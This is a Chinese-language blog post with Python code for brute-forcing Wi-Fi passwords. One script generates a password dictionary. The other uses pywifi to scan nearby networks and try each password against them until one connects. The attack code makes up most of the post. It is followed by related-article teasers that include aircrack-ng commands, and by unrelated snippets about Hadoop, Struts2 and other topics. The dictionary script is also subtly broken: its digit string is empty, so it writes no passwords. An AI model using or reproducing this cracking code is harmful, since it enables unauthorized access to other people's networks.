Python破解Wifi密码思路
一、前言说明
本机运行环境:系统环境Win10,运行环境Python3.6,运行工具Pycharm
需要Python的包有:pywifi
这是一种暴力破解wifi的模式,需要的时间比较长,本文主要提供一个破解思路
二、思路介绍
先生成一个密码字典(此步骤也可以从网上下载字典)
循环用密码字典的每个密码去尝试连接Wifi,直到成功
三、源码设计
1. 密码字典TXT文件生成,本文提供的比较简单,实用破解可以根据一般密码设置,去生成比较大比较全的密码字典
一般设置密码规则,可以参照这个博客写的内容:https://www.cnblogs.com/lifengfneg/p/5992649.html
以下提供简单8位纯数字的字典生成方案代码GetWifiPsdDic.py
- import itertools as its
- if __name__ == '__main__':
- words_num = ""
- words_letter = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
- r = its.product(words_num, repeat=8)
- dic = open("password-8位数字.txt", "w")
- for i in r:
- dic.write("".join(i))
- dic.write("".join("\n"))
- dic.close()
2. 暴力破解密码,用时较长GetWifiPsd.py
- import pywifi
- from pywifi import const # 引用一些定义
- import time
- def getwifi(wifilist, wificount):
- wifi = pywifi.PyWiFi() # 抓取网卡接口
- ifaces = wifi.interfaces()[0] # 获取网卡
- ifaces.scan()
- time.sleep(8)
- bessis = ifaces.scan_results()
- allwifilist = []
- namelist = []
- ssidlist = []
- for data in bessis:
- if data.ssid not in namelist: # 去掉重复的WIFI名称
- namelist.append(data.ssid)
- allwifilist.append((data.ssid, data.signal))
- sorted(allwifilist, key=lambda st: st[1], reverse=True)
- time.sleep(1)
- n = 0
- if len(allwifilist) is not 0:
- for item in allwifilist:
- if (item[0] not in ssidlist) & (item[0] not in wifilist):
- n = n + 1
- if n <= wificount:
- ssidlist.append(item[0])
- print(allwifilist)
- return ssidlist
- def getifaces():
- wifi = pywifi.PyWiFi() # 抓取网卡接口
- ifaces = wifi.interfaces()[0] # 获取网卡
- ifaces.disconnect() # 断开无限网卡连接
- return ifaces
- def testwifi(ifaces, ssidname, password):
- profile = pywifi.Profile() # 创建wifi连接文件
- profile.ssid = ssidname # 定义wifissid
- profile.auth = const.AUTH_ALG_OPEN # 网卡的开放
- profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法
- profile.cipher = const.CIPHER_TYPE_CCMP # 加密单元
- profile.key = password # wifi密码
- ifaces.remove_all_network_profiles() # 删除其他所有配置文件
- tmp_profile = ifaces.add_network_profile(profile) # 加载配置文件
- ifaces.connect(tmp_profile) # 连接wifi
- time.sleep(5) # 5秒内能否连接上
- if ifaces.status() == const.IFACE_CONNECTED:
- return True
- else:
- return False
- def beginwork(wifinamelist):
- ifaces = getifaces()
- path = r"password-8位数字.txt"
- # path = r"password-常用密码.txt"
- files = open(path, 'r')
- while True:
- try:
- password = files.readline()
- password = password.strip('\n')
- if not password:
- break
- for wifiname in wifinamelist:
- print("正在尝试:" + wifiname + "," + password)
- if testwifi(ifaces, wifiname, password):
- print("Wifi账号:" + wifiname + ",Wifi密码:" + password)
- wifinamelist.remove(wifiname)
- break
- if not wifinamelist:
- break
- except:
- continue
- files.close()
- if __name__ == '__main__':
- wifinames_e = ["", "Vrapile"] # 排除不破解的wifi名字
- wifinames = getwifi(wifinames_e, 5)
- print(wifinames)
- beginwork(wifinames)
四、最后小结
上文生成字典有很多冗余密码成分,会大大加长破解时间,实用时可以更改密码生成方式
Python破解Wifi密码思路的更多相关文章
- 用 Python 破解 WiFi 密码
如今,WiFi 跟我们的生活息息相关,无处不在.没有 WiFi 的地方是没有灵魂的! 然而,比没有WiFi更让人绝望的,是有满格WiFi信号却没有密码…… 今天我们就来尝试下,如何利用pyth ...
- 牛逼了,用Python破解wifi密码
Python真的是无所不能,原因就是因为Python有数目庞大的库,无数的现成的轮子,让你做很多很多应用都非常方便.wifi跟我们的生活息息相关,无处不在.今天从WiFi连接的原理,再结合代码为大家详 ...
- 用 Python 破解 WIFI 密码,走到哪里都能连 WIFI
WIFI 破解,Python 程序员必学技能.WIFI 已经完全普及,现在 Python 程序员没网,走到哪里都不怕! 教你们一招,如何在图片中提取 Python 脚本代码.图片发送至手机 QQ 长按 ...
- 分享一个撩妹、装13神技能,0基础用Python暴力破解WiFi密码
WiFi密码Python暴力破解 Python密码破解部分截图 获取视频资料,转发此文+点击喜欢,然后获取资料请加Python交流群:580478401,就可以获取视频教程+源码 环境准备: py ...
- Kali Linux下破解WIFI密码挂载usb无线网卡的方法
Kali Linux下破解WIFI密码挂载usb无线网卡的方法 时间:2014-10-12 来源:服务器之家 投稿:root 首先我要说的是,wifi密码的破解不是想象中的那么容易,目前还 ...
- 真正的手机破解wifi密码,aircrack-ng,reaver,仅限mx2(BCM4330芯片)
仅限mx2(BCM4330芯片),mx可能有戏没测试(BCM4329?),mx3不行. PS:原生安卓应用,非虚拟机 reaver,不知道是啥的看这里http://tieba.baidu.com/p/ ...
- 怎么破解Wifi密码
破解无络网络Wifi密码,让手机上Wifi不再受限. 方法/步骤 1 上网搜索并下载“Wfi万能钥匙”APK程序,然后将其安装到手机内存中.可以借助手机类管理软件将APK应用安装到手机中. 步骤阅读 ...
- Mac系统安装Aircrack-ng破解wifi密码(2)
我们上一篇文章说过如何通过Aircrack-ng, 破解使用WPA/PSK加密方式的路由密码, 这一篇介绍的是使用Aircrack-ng破解使用WEP加密方式的路由密码: WEP和WPA/PSK的区别 ...
- aircrack 破解wifi密码
分享一个用aircrack破解wifi密码的步骤: 1.新建一个终端 airmon-ng check kill airmon-ng start wlan0 airodump-ng wlan0mon 此 ...
随机推荐
- CDH版本hadoop2.6伪分布式安装
1.基础环境配置 主机名 IP地址 角色 Hadoop用户 centos05 192.168.48.105 NameNode.ResourceManager.SecondaryNameNode. Da ...
- nodejs-app.js
设置静态目录 1 2 app.use(express.static(path.join(__dirname, 'public'))); //设置模版渲染的js,css,images的静态文件目录 设置 ...
- C#中的Attribute Property区别
Attribute 一般译作"特性",Property 仍然译为"属性". Attribute 是一种可由用户自由定义的修饰符(Modifier),可以用来修饰 ...
- iOS-为方便项目开发在pch加入一些经常使用宏定义
1.关于NSLog输出 /** * 当Xcode为Release时不输出,为Debug时输出 * * @param ... * * @return */ #ifndef __OPTIMIZE__ #d ...
- 蓝桥杯--算法提高 排列数 (简单dfs)
算法提高 排列数 时间限制:1.0s 内存限制:256.0MB 问题描述 0.1.2三个数字的全排列有六种,按照字母序排列如下: 012.021.102.120.201.210 输入 ...
- Java-杂项:Java数组Array和集合List、Set、Map
ylbtech-Java-杂项:Java数组Array和集合List.Set.Map 1.返回顶部 1. 之前一直分不清楚java中的array,list.同时对set,map,list的用法彻底迷糊 ...
- checkbox改写
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...
- javascript前端如何使用google-protobuf
1.首先下载google的protobuf的compiler,通过编译器可以将.proto文件转换为想要的语言文件. 下载地址:https://repo1.maven.org/maven2/com/g ...
- Spark Streaming概念学习系列之SparkStreaming运行原理
SparkStreaming运行原理 Spark Streaming不断的从数据源获取数据(连续的数据流),并将这些数据按照周期划分为batch. Spark Streaming将每个batch的数据 ...
- Struts2简单环境搭建
一.开篇 Struts2是一个运行于web容器的表示层框架,其核心作用是帮助我们处理Http请求.Struts2处理Http请求(Request),并进行内部处理,再进行Http返回. 下载strut ...